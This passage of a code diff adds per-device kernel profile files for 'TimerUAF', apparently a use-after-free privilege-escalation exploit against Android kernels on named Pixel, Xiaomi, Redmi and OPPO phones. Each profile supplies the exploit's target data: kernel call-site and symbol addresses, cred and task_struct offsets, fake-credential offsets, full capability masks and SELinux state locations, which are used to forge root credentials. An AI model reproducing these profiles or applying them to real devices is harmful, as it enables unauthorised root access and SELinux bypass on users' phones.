+ # 0x1440 (BTF sizeof task_struct) + 0x200 (bootconfig vendor extension)
60
+ task_alloc_bytes = 0x1640
61
+
62
+ # capability and fake-cred refcounted sub-objects
63
+ fullcap = 0x1ffffffffff
64
+ root_user = 0xffffffc082602170
65
+ init_user_ns = 0xffffffc082601ef8
66
+ init_ucounts = 0xffffffc082603b08
67
+ init_groups = 0xffffffc082603638
68
+
69
+ # task_security_struct
70
+ # Runtime CONFIG_LSM order is
71
+ # landlock,lockdown,yama,loadpin,safesetid,selinux,smack,tomoyo,apparmor,ipe,bpf
72
+ # so the aggregate cred blob lays out landlock[0x0..0x8) then selinux[0x8..).
73
+ selinux_blob_off = 0x8
74
+ selinux_sid_kernel = 1
conf/conf/6.12.69-android16-6-g242e1a07f878-ab15865446-4k.conf ADDED
@@ -0,0 +1,34 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # TimerUAF kernel profile (HOCON; JSON remains valid)
2
+ # Device: OPPO Pad mini OPD2515, kernel 6.12.69
3
+ release = "6.12.69-android16-6-g242e1a07f878-ab15865446-4k"
4
+ schema_version = 1
5
+ ksu_kmi = "android16-6.12"
6
+
7
+ # do_timer_create -> kmem_cache_alloc_noprof(posix_timers_cache) call site
8
+ timer_site = 0xffffffc0803718f4
9
+ timer_alloc = 0x100
10
+
11
+ # cred_jar: sizeof(struct cred)=0xb8, slab object=0xc0
12
+ cred_req = 0xb8
13
+ cred_alloc = 0xc0
14
+ cred_uid_off = 0x8
15
+
16
+ # link-time symbols (kallsyms)
17
+ selinux_state = 0xffffffc082888890
18
+ panic_on_warn = 0xffffffc0825dade0
19
+
20
+ # task_struct / cred layout (BTF)
21
+ task_cred_off = 0x900
22
+ copy_process_low21 = 0xe94a4
23
+ task_alloc_bytes = 0x1440
24
+
25
+ # capability and fake-cred refcounted sub-objects
26
+ fullcap = 0x1ffffffffff
27
+ root_user = 0xffffffc082602170
28
+ init_user_ns = 0xffffffc082601ef8
29
+ init_ucounts = 0xffffffc082603b08
30
+ init_groups = 0xffffffc082603638
31
+
32
+ # task_security_struct
33
+ selinux_blob_off = 0x8
34
+ selinux_sid_kernel = 1
conf/conf/6.12.69-android16-6-g43b5ab7e247d-abogki558343811-4k.conf ADDED
@@ -0,0 +1,77 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # TimerUAF kernel profile (HOCON; JSON remains valid)
2
+ # Device: Xiaomi 17 Pro Max (popsicle)
3
+ # Kernel: 6.12.69-android16-6-g43b5ab7e247d-abogki558343811-4k (4K pages)
4
+ #
5
+ # Every constant below is derived from that factory boot.img:
6
+ # init_posix_timers kmem_cache_create("posix_timers_cache", 0x100, 0,
7
+ # SLAB_PANIC|SLAB_ACCOUNT) -> timer_alloc 0x100
8
+ # alloc_posix_timer bl kmem_cache_alloc_noprof at 0xffffffc080579aac,
9
+ # returns to 0xffffffc080579ab0 (x0 = posix_timers_cache)
10
+ # copy_process bl kmem_cache_alloc_node_noprof at
11
+ # 0xffffffc080191d38, returns to 0xffffffc080191d3c
12
+ # (x0 = task_struct_cachep); low21 0x191d3c
13
+ # arch_task_struct_size = sizeof(task_struct) 0x1440 + 0x400 from
14
+ # android_arch_task_struct_size=1024 in the dtb
15
+ #
16
+ # Vulnerability: fs/exec.c begin_new_exec() still calls
17
+ # posix_cpu_timers_exit() before exit_itimers(), i.e. the reordering that
18
+ # 6.12.112 shipped has not been backported here.
19
+ release = "6.12.69-android16-6-g43b5ab7e247d-abogki558343811-4k"
20
+ schema_version = 1
21
+ ksu_kmi = "android16-6.12"
22
+
23
+ page_size = 4096
24
+ page_shift = 12
25
+ slab_order = 1
26
+ slab_size = 8192
27
+ linear_min = 0xffffff0000000000
28
+ linear_max = 0xffffffc000000000
29
+
30
+ # alloc_posix_timer -> kmem_cache_alloc_noprof(posix_timers_cache)
31
+ timer_site = 0xffffffc080579ab0
32
+ timer_alloc = 0x100
33
+ # The `it` union (k_itimer.it) is at +0x78; its `cpu` member is a
34
+ # struct cpu_timer, whose first field `node` is at +0, so the timerqueue
35
+ # rb_node sits at +0x78.
36
+ timer_node_off = 0x78
37
+
38
+ # cred_jar: sizeof(struct cred)=0xb8 (BTF), SLAB_HWCACHE_ALIGN -> 0xc0
39
+ cred_req = 0xb8
40
+ cred_alloc = 0xc0
41
+ cred_size = 0xb8
42
+ cred_uid_off = 0x8
43
+ cred_euid_off = 0x18
44
+ cred_cap_off = 0x30
45
+ cred_cap_count = 5
46
+ cred_security_off = 0x80
47
+ cred_user_off = 0x88
48
+ cred_userns_off = 0x90
49
+ cred_ucounts_off = 0x98
50
+ cred_group_off = 0xa0
51
+ fake_cred_off = 0x18
52
+
53
+ # link-time symbols (kallsyms)
54
+ selinux_state = 0xffffffc08289aba0
55
+ panic_on_warn = 0xffffffc0825eade0
56
+
57
+ # task_struct / cred layout (BTF)
58
+ task_cred_off = 0x900
59
+ copy_process_low21 = 0x191d3c
60
+ # 0x1440 (BTF sizeof task_struct) + 0x400 (bootconfig vendor extension)
61
+ task_alloc_bytes = 0x1840
62
+
63
+ # capability and fake-cred refcounted sub-objects
64
+ fullcap = 0x1ffffffffff
65
+ root_user = 0xffffffc0826121f0
66
+ init_user_ns = 0xffffffc082611f78
67
+ init_ucounts = 0xffffffc082613b88
68
+ init_groups = 0xffffffc0826136b8
69
+
70
+ # task_security_struct
71
+ # Runtime CONFIG_LSM order is
72
+ # landlock,lockdown,yama,loadpin,safesetid,selinux,smack,tomoyo,apparmor,ipe,bpf
73
+ # so the aggregate cred blob lays out landlock[0x0..0x8) then selinux[0x8..).
74
+ # (5.15+ lsm_set_blob_sizes() assigns offsets in registration order, and
75
+ # landlock registers first.)
76
+ selinux_blob_off = 0x8
77
+ selinux_sid_kernel = 1
conf/conf/6.12.69-android16-6-g43b5ab7e247d-abogki561813157-4k.conf ADDED
@@ -0,0 +1,44 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # TimerUAF kernel profile (HOCON; JSON remains valid)
2
+ # Device: Xiaomi 17 Pro (pandora / 25098PN5AC), HyperOS OS4.0.5.0.XBLCNXM
3
+ # Kernel: 6.12.69-android16-6-g43b5ab7e247d-abogki561813157-4k
4
+ release = "6.12.69-android16-6-g43b5ab7e247d-abogki561813157-4k"
5
+ schema_version = 1
6
+ ksu_kmi = "android16-6.12"
7
+
8
+ # do_timer_create -> kmem_cache_alloc_noprof(posix_timers_cache) call site
9
+ # ffffffc0801f9334: bl kmem_cache_alloc_noprof (x0 = posix_timers_cache)
10
+ # return address = ffffffc0801f9338
11
+ timer_site = 0xffffffc0801f9338
12
+ timer_alloc = 0x100
13
+
14
+ # cred_jar: sizeof(struct cred)=0xb8 (BTF), SLAB_HWCACHE_ALIGN -> slab object 0xc0
15
+ # /proc/slabinfo "cred" objsize = 192
16
+ cred_req = 0xb8
17
+ cred_alloc = 0xc0
18
+ cred_uid_off = 0x8
19
+
20
+ # link-time symbols (kallsyms)
21
+ selinux_state = 0xffffffc0827f9ba0
22
+ panic_on_warn = 0xffffffc08254ade0
23
+
24
+ # task_struct / cred layout (BTF)
25
+ task_cred_off = 0x900
26
+ # dup_task_struct -> kmem_cache_alloc_node_noprof(task_struct_cachep) call site
27
+ # ffffffc0800ddacc: bl kmem_cache_alloc_node_noprof -> return ffffffc0800ddad0
28
+ copy_process_low21 = 0xddad0
29
+ # sizeof(struct task_struct) = 0x1440, plus bootconfig
30
+ # android_arch_task_struct_size=1024 (CONFIG_GKI_DYNAMIC_TASK_STRUCT_SIZE)
31
+ # -> arch_task_struct_size = 0x1840; /proc/slabinfo task_struct objsize = 6208
32
+ task_alloc_bytes = 0x1840
33
+
34
+ # capability and fake-cred refcounted sub-objects
35
+ # cap_last_cap = 0x28 -> (1 << (40 + 1)) - 1
36
+ fullcap = 0x1ffffffffff
37
+ root_user = 0xffffffc0825721f0
38
+ init_user_ns = 0xffffffc082571f78
39
+ init_ucounts = 0xffffffc082573b88
40
+ init_groups = 0xffffffc0825736b8
41
+
42
+ # task_security_struct
43
+ selinux_blob_off = 0x8
44
+ selinux_sid_kernel = 1
conf/conf/6.12.69-android16-6-g586bfab1b9c5-abogki537510563-4k.conf ADDED
@@ -0,0 +1,74 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # TimerUAF kernel profile (HOCON; JSON remains valid)
2
+ # Device: Redmi Note 17 Pro Max 5G (brussels)
3
+ # Kernel: 6.12.69-android16-6-g586bfab1b9c5-abogki537510563-4k (4K pages)
4
+ #
5
+ # Every constant below is derived from that factory boot.img:
6
+ # init_posix_timers kmem_cache_create("posix_timers_cache", 0x100, 0,
7
+ # SLAB_PANIC|SLAB_ACCOUNT) -> timer_alloc 0x100
8
+ # alloc_posix_timer bl kmem_cache_alloc_noprof at 0xffffffc080579aa0,
9
+ # returns to 0xffffffc080579aa4 (x0 = posix_timers_cache)
10
+ # copy_process bl kmem_cache_alloc_node_noprof at
11
+ # 0xffffffc080194770, returns to 0xffffffc080194774
12
+ # (x0 = task_struct_cachep); low21 0x194774
13
+ # arch_task_struct_size = sizeof(task_struct) 0x1440 + 0x200 from
14
+ # android_arch_task_struct_size=512 in the dtb
15
+ #
16
+ # Vulnerability: fs/exec.c begin_new_exec() still calls
17
+ # posix_cpu_timers_exit() before exit_itimers().
18
+ release = "6.12.69-android16-6-g586bfab1b9c5-abogki537510563-4k"
19
+ schema_version = 1
20
+ ksu_kmi = "android16-6.12"
21
+
22
+ page_size = 4096
23
+ page_shift = 12
24
+ slab_order = 1
25
+ slab_size = 8192
26
+ linear_min = 0xffffff0000000000
27
+ linear_max = 0xffffffc000000000
28
+
29
+ # alloc_posix_timer -> kmem_cache_alloc_noprof(posix_timers_cache)
30
+ timer_site = 0xffffffc080579aa4
31
+ timer_alloc = 0x100
32
+ # The `it` union (k_itimer.it) is at +0x78; its `cpu` member is a
33
+ # struct cpu_timer, whose first field `node` is at +0, so the timerqueue
34
+ # rb_node sits at +0x78.
35
+ timer_node_off = 0x78
36
+
37
+ # cred_jar: sizeof(struct cred)=0xb8 (BTF), SLAB_HWCACHE_ALIGN -> 0xc0
38
+ cred_req = 0xb8
39
+ cred_alloc = 0xc0
40
+ cred_size = 0xb8
41
+ cred_uid_off = 0x8
42
+ cred_euid_off = 0x18
43
+ cred_cap_off = 0x30
44
+ cred_cap_count = 5
45
+ cred_security_off = 0x80
46
+ cred_user_off = 0x88
47
+ cred_userns_off = 0x90
48
+ cred_ucounts_off = 0x98
49
+ cred_group_off = 0xa0
50
+ fake_cred_off = 0x18
51
+
52
+ # link-time symbols (kallsyms)
53
+ selinux_state = 0xffffffc08289abc8
54
+ panic_on_warn = 0xffffffc0825eade0
55
+
56
+ # task_struct / cred layout (BTF)
57
+ task_cred_off = 0x900
58
+ copy_process_low21 = 0x194774
59
+ # 0x1440 (BTF sizeof task_struct) + 0x200 (bootconfig vendor extension)
60
+ task_alloc_bytes = 0x1640
61
+
62
+ # capability and fake-cred refcounted sub-objects
63
+ fullcap = 0x1ffffffffff
64
+ root_user = 0xffffffc0826121f0
65
+ init_user_ns = 0xffffffc082611f78
66
+ init_ucounts = 0xffffffc082613b88
67
+ init_groups = 0xffffffc0826136b8
68
+
69
+ # task_security_struct
70
+ # Runtime CONFIG_LSM order is
71
+ # landlock,lockdown,yama,loadpin,safesetid,selinux,smack,tomoyo,apparmor,ipe,bpf
72
+ # so the aggregate cred blob lays out landlock[0x0..0x8) then selinux[0x8..).
73
+ selinux_blob_off = 0x8
74
+ selinux_sid_kernel = 1
conf/conf/6.12.69-android16-6-g70777328ed0e-ab16108597-4k.conf ADDED
@@ -0,0 +1,79 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # TimerUAF kernel profile (HOCON; JSON remains valid)
2
+ # Device: Google Pixel 11 / 11 Pro / 11 Pro XL / 11 Pro Fold
3
+ # (cubs / grizzly / kodiak / yogi)
4
+ # Build : CD1A.261005.003 and CD1A.261005.003.b1
5
+ # Kernel: 6.12.69-android16-6-g70777328ed0e-ab16108597-4k (4K pages)
6
+ #
7
+ # All four factory images (and both build suffixes) carry a byte-identical
8
+ # kernel payload:
9
+ # sha256 4417511834260f72c1b6a5bb9b9f809dfb6734b20fd7e8aa156c3c1f91f0f97b
10
+ # so one profile covers them. Every constant below comes from that image:
11
+ # timer_site do_timer_create: bl kmem_cache_alloc_noprof at
12
+ # +0x90, returns to +0x94 (x0 = posix_timers_cache)
13
+ # copy_process_low21 copy_process: bl kmem_cache_alloc_node_noprof at
14
+ # +0x140, returns to +0x144 (x0 = task_struct_cachep)
15
+ # selinux_state kallsyms, struct base; BTF puts `enforcing` at +0
16
+ # arch_task_struct_size = 5184 (sizeof task_struct) + 784 from
17
+ # android_arch_task_struct_size=784 in vendor_boot,
18
+ # hence the 0x1750 task_struct cache object size
19
+ #
20
+ # Vulnerability: fs/exec.c begin_new_exec() still calls
21
+ # posix_cpu_timers_exit() before exit_itimers(), i.e. the cleanup that
22
+ # 6.12.112 moved ahead of de_thread() has not been backported here.
23
+ release = "6.12.69-android16-6-g70777328ed0e-ab16108597-4k"
24
+ schema_version = 1
25
+ ksu_kmi = "android16-6.12"
26
+
27
+ page_size = 4096
28
+ page_shift = 12
29
+ slab_order = 1
30
+ slab_size = 8192
31
+ linear_min = 0xffffff0000000000
32
+ linear_max = 0xffffffc000000000
33
+
34
+ # do_timer_create -> kmem_cache_alloc_noprof(posix_timers_cache) call site.
35
+ # ffffffc0803634fc: bl kmem_cache_alloc_noprof
36
+ # return address = ffffffc080363500
37
+ timer_site = 0xffffffc080363500
38
+ timer_alloc = 0x100
39
+
40
+ # cred_jar: sizeof(struct cred)=0xb8, slab object=0xc0.
41
+ # cred_init: mov w1,#0xb8 / SLAB_HWCACHE_ALIGN -> ALIGN(0xb8,64)=0xc0
42
+ cred_req = 0xb8
43
+ cred_alloc = 0xc0
44
+ cred_size = 0xb8
45
+ # cred is `atomic_long_t usage` (8 bytes), so uid is at +0x8.
46
+ cred_uid_off = 0x8
47
+ cred_euid_off = 0x18
48
+ cred_cap_off = 0x30
49
+ cred_cap_count = 5
50
+ cred_security_off = 0x80
51
+ cred_user_off = 0x88
52
+ cred_userns_off = 0x90
53
+ cred_ucounts_off = 0x98
54
+ cred_group_off = 0xa0
55
+ # Distance from the stale k_itimer rb_node to the fake cred base.
56
+ fake_cred_off = 0x18
57
+
58
+ # link-time symbols (kallsyms)
59
+ selinux_state = 0xffffffc082887890
60
+ panic_on_warn = 0xffffffc0825dade0
61
+
62
+ # task_struct / cred layout (BTF)
63
+ task_cred_off = 0x900
64
+ copy_process_low21 = 0xe7f7c
65
+ # 0x1440 (BTF sizeof task_struct) + 0x310 (bootconfig vendor extension)
66
+ task_alloc_bytes = 0x1750
67
+
68
+ # capability and fake-cred refcounted sub-objects
69
+ fullcap = 0x1ffffffffff
70
+ root_user = 0xffffffc082602170
71
+ init_user_ns = 0xffffffc082601ef8
72
+ init_ucounts = 0xffffffc082603b08
73
+ init_groups = 0xffffffc082603638
74
+
75
+ # task_security_struct
76
+ # LSM order is "landlock,...,safesetid,selinux,...,bpf" with capability
77
+ # first, so the aggregate cred blob is landlock[0x0..0x8) then selinux[0x8..).
78
+ selinux_blob_off = 0x8
79
+ selinux_sid_kernel = 1
conf/conf/6.18.21-android17-5-g284297031c53-abogki555938958-4k.conf ADDED
@@ -0,0 +1,79 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # TimerUAF kernel profile (HOCON; JSON remains valid)
2
+ # Device: Xiaomi 18 Pro (hongkong) and Xiaomi 18 Pro Max (madrid)
3
+ # Kernel: 6.18.21-android17-5-g284297031c53-abogki555938958-4k (4K pages)
4
+ #
5
+ # Both devices carry a byte-identical kernel payload, so one profile covers
6
+ # them. Every constant below is derived from that factory boot.img:
7
+ # posixtimer_init kmem_cache_create("posix_timers_cache", 0x180, 0x40,
8
+ # SLAB_HWCACHE_ALIGN|...) -> timer_alloc 0x180
9
+ # do_timer_create bl kmem_cache_alloc_noprof at 0xffffffc080211130,
10
+ # returns to 0xffffffc080211134 (x0 = posix_timers_cache)
11
+ # copy_process calls dup_task_struct, whose
12
+ # bl kmem_cache_alloc_node_noprof at 0xffffffc0800f4c0c
13
+ # returns to 0xffffffc0800f4c10 (x0 = task_struct_cachep)
14
+ # -> low21 0xf4c10
15
+ # arch_task_struct_size = sizeof(task_struct) 0x1280 + 0x400 from the
16
+ # android_arch_task_struct_size=1024 vendor cmdline
17
+ #
18
+ # Vulnerability: fs/exec.c begin_new_exec() still calls
19
+ # posix_cpu_timers_exit() before exit_itimers().
20
+ release = "6.18.21-android17-5-g284297031c53-abogki555938958-4k"
21
+ schema_version = 1
22
+ ksu_kmi = "android17-6.18"
23
+
24
+ page_size = 4096
25
+ page_shift = 12
26
+ slab_order = 1
27
+ slab_size = 8192
28
+ linear_min = 0xffffff0000000000
29
+ linear_max = 0xffffffc000000000
30
+
31
+ # do_timer_create -> kmem_cache_alloc_noprof(posix_timers_cache)
32
+ timer_site = 0xffffffc080211134
33
+ timer_alloc = 0x180
34
+ # k_itimer.it (cpu_timer) sits at +0xe0; struct cpu_timer.node is at +0
35
+ timer_node_off = 0xe0
36
+ # android17 (6.18) inserted a __data_loc `name` field between `ptr`
37
+ # and `bytes_req` in trace_event_raw_kmem_cache_alloc, so bytes_req
38
+ # is 0x18 after call_site instead of 0x10 (BTF-verified, size 0x40).
39
+ alloc_req_off = 0x18
40
+
41
+ # cred_jar: sizeof(struct cred)=0xb8 (BTF), SLAB_HWCACHE_ALIGN -> 0xc0
42
+ cred_req = 0xb8
43
+ cred_alloc = 0xc0
44
+ cred_size = 0xb8
45
+ cred_uid_off = 0x8
46
+ cred_euid_off = 0x18
47
+ cred_cap_off = 0x30
48
+ cred_cap_count = 5
49
+ cred_security_off = 0x80
50
+ cred_user_off = 0x88
51
+ cred_userns_off = 0x90
52
+ cred_ucounts_off = 0x98
53
+ cred_group_off = 0xa0
54
+ fake_cred_off = 0x18
55
+
56
+ # link-time symbols (kallsyms)
57
+ selinux_state = 0xffffffc082918630
58
+ panic_on_warn = 0xffffffc08266bf10
59
+
60
+ # task_struct / cred layout (BTF)
61
+ task_cred_off = 0x908
62
+ copy_process_low21 = 0xf4c10
63
+ # 0x1280 (BTF sizeof task_struct) + 0x400 (bootconfig vendor extension)
64
+ task_alloc_bytes = 0x1680
65
+
66
+ # capability and fake-cred refcounted sub-objects
67
+ fullcap = 0x1ffffffffff
68
+ root_user = 0xffffffc082691388
69
+ init_user_ns = 0xffffffc0826910d8
70
+ init_ucounts = 0xffffffc082692f08
71
+ init_groups = 0xffffffc082692a48
72
+
73
+ # task_security_struct
74
+ # Runtime CONFIG_LSM order is
75
+ # landlock,lockdown,yama,loadpin,safesetid,selinux,smack,tomoyo,apparmor,ipe,bpf
76
+ # lsm_set_blob_sizes() assigns cred-blob offsets in that registration order,
77
+ # and landlock (lbs_cred = 11) registers first, so selinux is ALIGN(11, 8) = 0x10.
78
+ selinux_blob_off = 0x10
79
+ selinux_sid_kernel = 1
conf/conf/6.18.21-android17-5-g805aa6adea19-abogki565292102-4k.conf ADDED
@@ -0,0 +1,79 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # TimerUAF kernel profile (HOCON; JSON remains valid)
2
+ # Device: Xiaomi 18 Fold (lhasa) and Xiaomi Pad 9 Pro Max (yingtian)
3
+ # Kernel: 6.18.21-android17-5-g805aa6adea19-abogki565292102-4k (4K pages)
4
+ #
5
+ # Every constant below is derived from that factory boot.img:
6
+ # posixtimer_init kmem_cache_create("posix_timers_cache", 0x180, 0x40,
7
+ # SLAB_HWCACHE_ALIGN|...) -> timer_alloc 0x180
8
+ # alloc_posix_timer bl kmem_cache_alloc_noprof at 0xffffffc0803a7268,
9
+ # returns to 0xffffffc0803a726c (x0 = posix_timers_cache)
10
+ # copy_process bl kmem_cache_alloc_node_noprof at
11
+ # 0xffffffc0801f0068, returns to 0xffffffc0801f006c
12
+ # (x0 = task_struct_cachep); low21 0x1f006c
13
+ # arch_task_struct_size = sizeof(task_struct) 0x1280 + 0x400 from the
14
+ # android_arch_task_struct_size=1024 vendor cmdline
15
+ #
16
+ # Vulnerability: fs/exec.c begin_new_exec() still calls
17
+ # posix_cpu_timers_exit() before exit_itimers().
18
+ release = "6.18.21-android17-5-g805aa6adea19-abogki565292102-4k"
19
+ schema_version = 1
20
+ ksu_kmi = "android17-6.18"
21
+
22
+ page_size = 4096
23
+ page_shift = 12
24
+ slab_order = 1
25
+ slab_size = 8192
26
+ linear_min = 0xffffff0000000000
27
+ linear_max = 0xffffffc000000000
28
+
29
+ # alloc_posix_timer -> kmem_cache_alloc_noprof(posix_timers_cache)
30
+ timer_site = 0xffffffc0803a726c
31
+ timer_alloc = 0x180
32
+ # k_itimer.it (cpu_timer) sits at +0xe0; struct cpu_timer.node is at +0
33
+ timer_node_off = 0xe0
34
+ # android17 (6.18) inserted a __data_loc `name` field between `ptr`
35
+ # and `bytes_req` in trace_event_raw_kmem_cache_alloc, so bytes_req
36
+ # is 0x18 after call_site instead of 0x10 (BTF-verified, size 0x40).
37
+ alloc_req_off = 0x18
38
+
39
+ # cred_jar: sizeof(struct cred)=0xb8 (BTF), SLAB_HWCACHE_ALIGN -> 0xc0
40
+ cred_req = 0xb8
41
+ cred_alloc = 0xc0
42
+ cred_size = 0xb8
43
+ cred_uid_off = 0x8
44
+ cred_euid_off = 0x18
45
+ cred_cap_off = 0x30
46
+ cred_cap_count = 5
47
+ cred_security_off = 0x80
48
+ cred_user_off = 0x88
49
+ cred_userns_off = 0x90
50
+ cred_ucounts_off = 0x98
51
+ cred_group_off = 0xa0
52
+ fake_cred_off = 0x18
53
+
54
+ # link-time symbols (kallsyms)
55
+ selinux_state = 0xffffffc082959630
56
+ panic_on_warn = 0xffffffc0826abf10
57
+
58
+ # task_struct / cred layout (BTF)
59
+ task_cred_off = 0x908
60
+ copy_process_low21 = 0x1f006c
61
+ # 0x1280 (BTF sizeof task_struct) + 0x400 (bootconfig vendor extension)
62
+ task_alloc_bytes = 0x1680
63
+
64
+ # capability and fake-cred refcounted sub-objects
65
+ fullcap = 0x1ffffffffff
66
+ root_user = 0xffffffc0826d1388
67
+ init_user_ns = 0xffffffc0826d10d8
68
+ init_ucounts = 0xffffffc0826d2f08
69
+ init_groups = 0xffffffc0826d2a48
70
+
71
+ # task_security_struct
72
+ # Runtime CONFIG_LSM order is
73
+ # landlock,lockdown,yama,loadpin,safesetid,selinux,smack,tomoyo,apparmor,ipe,bpf
74
+ # lsm_set_blob_sizes() assigns cred-blob offsets in that registration order,
75
+ # and landlock (lbs_cred = 11) registers first, so selinux is ALIGN(11, 8) = 0x10.
76
+ # Verified against selinux_cred_getsecid(): it reads
77
+ # cred->security + selinux_blob_sizes.lbs_cred
78
+ selinux_blob_off = 0x10
79
+ selinux_sid_kernel = 1
conf/conf/6.6.118-android15-8-g666ad52b8230-ab15657065-4k.conf ADDED
@@ -0,0 +1,75 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # TimerUAF kernel profile (HOCON; JSON remains valid)
2
+ # Device: Redmi Note 17 5G (mist)
3
+ # Build : OS3.0.311.0.WPUCNXM
4
+ # Kernel: 6.6.118-android15-8-g666ad52b8230-ab15657065-4k (4K pages)
5
+ #
6
+ # Every constant below is derived from that factory boot.img:
7
+ # init_posix_timers kmem_cache_create("posix_timers_cache", 0x108, 0,
8
+ # SLAB_PANIC|SLAB_ACCOUNT) -> timer_alloc 0x108
9
+ # do_timer_create bl kmem_cache_alloc at 0xffffffc080195d44, returns to
10
+ # 0xffffffc080195d48 (x0 = posix_timers_cache)
11
+ # copy_process bl kmem_cache_alloc_node at 0xffffffc0800ab938,
12
+ # returns to 0xffffffc0800ab93c (x0 = task_struct_cachep)
13
+ # -> low21 0xab93c
14
+ # task_struct_vendor_size_setup() adds 0x12c0 (sizeof task_struct), and
15
+ # start_kernel() initialises arch_task_struct_size to 0x12c0. This image's
16
+ # vendor_boot/dtb/dtbo carry no android_arch_task_struct_size= parameter, so
17
+ # the value stays 0x12c0.
18
+ #
19
+ # Vulnerability: fs/exec.c begin_new_exec() still calls
20
+ # posix_cpu_timers_exit() before exit_itimers().
21
+ release = "6.6.118-android15-8-g666ad52b8230-ab15657065-4k"
22
+ schema_version = 1
23
+ ksu_kmi = "android15-6.6"
24
+
25
+ page_size = 4096
26
+ page_shift = 12
27
+ slab_order = 1
28
+ slab_size = 8192
29
+ linear_min = 0xffffff0000000000
30
+ linear_max = 0xffffffc000000000
31
+
32
+ # do_timer_create -> kmem_cache_alloc(posix_timers_cache)
33
+ timer_site = 0xffffffc080195d48
34
+ timer_alloc = 0x108
35
+ # The `it` union (k_itimer.it) is at +0x78; its `cpu` member is a
36
+ # struct cpu_timer, whose first field `node` is at +0, so the timerqueue
37
+ # rb_node sits at +0x78.
38
+ timer_node_off = 0x78
39
+
40
+ # cred_jar: sizeof(struct cred)=0xb8 (BTF), SLAB_HWCACHE_ALIGN -> 0xc0
41
+ cred_req = 0xb8
42
+ cred_alloc = 0xc0
43
+ cred_size = 0xb8
44
+ cred_uid_off = 0x8
45
+ cred_euid_off = 0x18
46
+ cred_cap_off = 0x30
47
+ cred_cap_count = 5
48
+ cred_security_off = 0x80
49
+ cred_user_off = 0x88
50
+ cred_userns_off = 0x90
51
+ cred_ucounts_off = 0x98
52
+ cred_group_off = 0xa0
53
+ fake_cred_off = 0x18
54
+
55
+ # link-time symbols (kallsyms)
56
+ selinux_state = 0xffffffc08236a2e0
57
+ panic_on_warn = 0xffffffc08211ae0c
58
+
59
+ # task_struct / cred layout (BTF)
60
+ task_cred_off = 0x820
61
+ copy_process_low21 = 0xab93c
62
+ task_alloc_bytes = 0x12c0
63
+
64
+ # capability and fake-cred refcounted sub-objects
65
+ fullcap = 0x1ffffffffff
66
+ root_user = 0xffffffc08213f1e0
67
+ init_user_ns = 0xffffffc08213ef50
68
+ init_ucounts = 0xffffffc082140cb0
69
+ init_groups = 0xffffffc082140740
70
+
71
+ # task_security_struct
72
+ # landlock does not contribute a cred blob on this image, so selinux is the
73
+ # first cred-blob contributor and its offset stays 0.
74
+ selinux_blob_off = 0x0
75
+ selinux_sid_kernel = 1
conf/conf/6.6.118-android15-8-g9bc34d5b0c79-abogki537459655-4k.conf ADDED
@@ -0,0 +1,34 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # TimerUAF kernel profile (HOCON; JSON remains valid)
2
+ # Device: OPPO Find X8s PKT110, kernel 6.6.118
3
+ release = "6.6.118-android15-8-g9bc34d5b0c79-abogki537459655-4k"
4
+ schema_version = 1
5
+ ksu_kmi = "android15-6.6"
6
+
7
+ # do_timer_create -> kmem_cache_alloc(posix_timers_cache) call site
8
+ timer_site = 0xffffffc0801a4dfc
9
+ timer_alloc = 0x108
10
+
11
+ # cred_jar: sizeof(struct cred)=0xb8, slab object=0xc0
12
+ cred_req = 0xb8
13
+ cred_alloc = 0xc0
14
+ cred_uid_off = 0x8
15
+
16
+ # link-time symbols (kallsyms)
17
+ selinux_state = 0xffffffc08239c620
18
+ panic_on_warn = 0xffffffc08214b2cc
19
+
20
+ # task_struct / cred layout (BTF)
21
+ task_cred_off = 0x820
22
+ copy_process_low21 = 0xab944
23
+ task_alloc_bytes = 0x12c0
24
+
25
+ # capability and fake-cred refcounted sub-objects
26
+ fullcap = 0x1ffffffffff
27
+ root_user = 0xffffffc08216f6e0
28
+ init_user_ns = 0xffffffc08216f450
29
+ init_ucounts = 0xffffffc0821711b0
30
+ init_groups = 0xffffffc082170c40
31
+
32
+ # task_security_struct
33
+ selinux_blob_off = 0x8
34
+ selinux_sid_kernel = 1
conf/conf/6.6.118-android15-8-gb9cc6ec16bc8-abogki536571621-4k.conf ADDED
@@ -0,0 +1,74 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
